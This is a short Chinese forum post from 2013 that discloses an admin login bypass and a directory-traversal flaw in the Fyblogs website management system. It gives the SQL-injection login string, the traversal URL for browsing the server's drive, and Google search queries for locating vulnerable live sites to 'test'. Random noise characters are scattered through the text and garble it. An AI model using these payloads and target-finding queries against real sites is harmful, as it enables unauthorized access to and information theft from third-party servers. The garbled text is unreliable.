漏洞类型： 未授权访问/权限绕过
7 R. E) H# j. c( E {4 \* d
! y; Z- H j7 Y简要描述：
9 c& c( A; f. j, \( A
6 `7 T Y6 |' ^8 qFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！. X2 w6 l* @+ }, r+ F6 [( h$ D
9 p5 T6 s" q/ E详细说明：4 o% B% u! b% S0 E1 w0 \
4 C& ?% | {0 e N1 [: n+ U# E2 b" _
后台万能密码 'or'='or' S( Z4 X: o# P) t# U
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！! K3 b9 S$ M" f1 y' ?; D
admin/uploadfile.asp?currentFolder=/upfiles/../
H4 j- U2 I" T b) b# v% I8 v9 m, p' v: T( Y$ c9 _ F
漏洞证明：; {0 O# d H) S# i6 M1 J
' Y& L- Q/ N# p- o: }8 @) k1 S
谷歌：inurl:type.asp?id=1 新闻中心
! H; g. W C" t! X5 D* ]5 m或者 ：inurl:download_ok.asp?8 D$ J* q) `" [
; ^1 U* n$ @2 q
可以测试
( e# Y: r& b) E4 g& ]" u0 {. C% F* `. G+ p* ^; e0 s# K, [9 l6 D; u
7 n3 m T1 [ ?5 D% _
|
发表于 2013-3-7 13:07:46
收藏
支持
反对